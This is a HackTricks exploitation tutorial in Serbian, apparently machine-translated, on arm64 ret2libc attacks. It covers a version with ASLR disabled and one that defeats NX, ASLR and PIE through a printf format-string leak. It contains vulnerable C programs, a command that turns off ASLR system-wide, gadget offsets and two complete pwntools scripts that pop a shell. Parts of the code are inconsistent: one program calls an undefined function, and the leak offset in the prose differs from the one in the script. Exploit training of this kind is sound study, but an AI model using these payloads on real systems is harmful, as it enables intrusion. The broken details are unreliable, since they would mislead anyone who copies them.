Ret2lib + Printf leak - arm64

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ret2lib - NX zaobilaženje sa ROP-om (bez ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompajlirajte bez kanara:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Pronađi pomak

Pomak x30

Kreiranje obrasca sa pattern create 200, korišćenje istog i provera pomaka sa pattern search $x30 pokazuje da je pomak 108 (0x6c).

Pogledom na rastavljenu glavnu funkciju možemo videti da bismo želeli da skočimo na instrukciju za skok direktno na printf, čiji je pomak od mesta učitavanja binarnog fajla 0x860:

Pronađi sistem i string /bin/sh

S obzirom da je ASLR onemogućen, adrese će uvek biti iste:

Pronađi Gadgete

Potrebno je da u x0 bude adresa stringa /bin/sh i poziv system funkcije.

Korišćenjem roopera pronađen je zanimljiv gadget:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Ovaj uređaj će učitati x0 sa $sp + 0x18 a zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim uređajem možemo kontrolisati prvi argument i zatim skočiti na sistem.

Napad

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - Bajpas NX, ASLR i PIE sa printf otkrivanjem sa steka

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompajliraj bez kanara:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE i ASLR ali bez canary-ja

  • Runda 1:

  • Procure PIE sa steka

  • Zloupotreba bof-a da se vrati na main

  • Runda 2:

  • Procure libc sa steka

  • ROP: ret2system

Printf otkrivači

Postavljanjem prekidača pre poziva printf-a moguće je videti adrese za povratak u binarni fajl na steku, kao i adrese libc-a:

Isprobavanjem različitih ofseta, %21$p može otkriti adresu binarnog fajla (PIE zaobilazak) i %25$p može otkriti adresu libc-a:

Oduzimajući otkrivenu adresu libc-a od bazne adrese libc-a, moguće je videti da je ofset otkrivene adrese od baze 0x49c40.

x30 ofset

Pogledajte prethodni primer jer je bof isti.

Pronalaženje Gadgeta

Kao i u prethodnom primeru, potrebno je imati u x0 adresu stringa /bin/sh i pozvati system.

Korišćenjem roopera pronađen je još jedan zanimljiv gadget:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Ovaj uređaj će učitati x0 sa $sp + 0x78 a zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim uređajem možemo kontrolisati prvi argument i zatim skočiti na sistem.

Napad

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated